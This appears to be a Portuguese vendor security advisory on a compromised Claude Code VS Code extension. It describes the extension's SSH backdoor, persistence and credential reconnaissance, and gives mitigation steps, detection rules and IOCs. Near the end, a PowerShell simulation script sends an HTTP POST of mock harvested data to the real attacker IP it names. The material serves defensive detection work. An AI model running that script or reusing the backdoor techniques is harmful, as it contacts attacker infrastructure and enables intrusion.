Comprometimento da Extensão Claude Code: Aviso de Segurança
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Foi identificada uma versão comprometida da extensão oficial Claude Code para VS Code, versão 2.1.313, no Cursor Marketplace. O malware estabelece um backdoor SSH persistente em macOS, Linux e Windows ao modificar authorized_keys e criar túneis SSH reversos. Ele também realiza reconhecimento do host para descobrir variáveis de ambiente sensíveis e credenciais potencialmente expostas.
Investigação
A Phorion identificou um IIFE injetado dentro do pacote da extensão minificado que executa imediatamente quando a extensão é carregada. A investigação mostrou que o malware tenta habilitar serviços SSH e utiliza chaves Ed25519 específicas para autenticação da vítima e estabelecimento de túnel reverso. Os pesquisadores também identificaram falhas de implementação na lógica do macOS e Windows que podem limitar sua capacidade de habilitar serviços sem privilégios existentes.
Mitigação
As organizações devem identificar e remover imediatamente a extensão Claude Code para VS Code versão 2.1.313. No macOS, os usuários devem descarregar e excluir o com.apple.sysmond.plist LaunchAgent. As equipes de segurança também devem inspecionar as configurações de SSH e remover a chave pública svc-telemetry dos authorized_keys arquivos afetados.
Resposta
Quando a violação é detectada, termine os processos de túnel ativos, incluindo loops de tentativa de shell desconectados e processos ssh or autossh conectando a 134.209.82.225. Remova artefatos de persistência, incluindo entradas de cron, tarefas agendadas e scripts ocultos armazenados em .config diretórios. Criticamente, altere todas as credenciais e tokens de API que foram expostos através de variáveis de ambiente no host afetado.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Comunicações de Consulta de Domínio de IP Possível Tentadas (via dns)
Binário / Scripts Suspeitos em Local de Autostart (via file_event)
Possíveis Comunicações de C2 Sobre HTTP Para IP Direto Com Porta Incomum (via proxy)
Arquivo Oculto Foi Criado No Host Linux (via file_event)
IOCs (HashSha256) para detectar: Comprometimento da Extensão Oficial Claude Code: Alerta de Segurança
IOCs (SourceIP) para detectar: Comprometimento da Extensão Oficial Claude Code: Alerta de Segurança
IOCs (DestinationIP) para detectar: Comprometimento da Extensão Oficial Claude Code: Alerta de Segurança
Atividade SSH Suspeita Detectada para Endereço IP Conhecido Malicioso [Conexão de Rede do Windows]
Detecção de Backdoor na Extensão Claude Code VS Code no macOS [Evento de Arquivo do Linux]
Execução de Simulação
-
Narrativa do Ataque e Comandos: O adversário, tendo alcançado o acesso inicial, visa estabelecer um túnel de C2 persistente. Eles iniciam uma conexão SSH para
134.209.82.225na porta22para criar um túnel seguro para movimento lateral. Imediatamente após, o agente malicioso executa uma solicitação HTTP POST parahttp://134.209.82.225:8099contendo informações do sistema codificadas. Esta sequência específica de “SSH + HTTP POST para o mesmo IP” é projetada para acionar a condição da regracondição: seleção_ssh e seleção_http. -
Script de Teste de Regressão:
# Script de Simulação: Atividade SSH e HTTP POST Suspeita $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Iniciando Simulação..." -ForegroundColor Cyan # Passo 1: Simular Conexão SSH (usando Test-NetConnection para gerar Sysmon ID 3) Write-Host "[+] Passo 1: Simulando conexão SSH de saída para $TargetIP na porta $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Passo 2: Simular solicitação HTTP POST (usando Invoke-WebRequest) Write-Host "[+] Passo 2: Simulando beaconing HTTP POST para $TargetIP na porta $HTTPPort" try { # Usamos um curto tempo limite para impedir que o script fique travado se o IP estiver inacessível $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] Solicitação HTTP falhou (Esperado se o IP estiver offline), mas a telemetria já deve ter sido gerada." -ForegroundColor Yellow } Write-Host "[+] Comandos de Simulação Executados." -ForegroundColor Green -
Comandos de Limpeza:
# Nenhuma alteração persistente foi feita no sistema durante esta simulação. # Nenhum arquivo foi criado, e nenhum serviço foi realmente instalado. Write-Host "[+] Limpeza completa. Nenhum artefato para remover." -ForegroundColor Green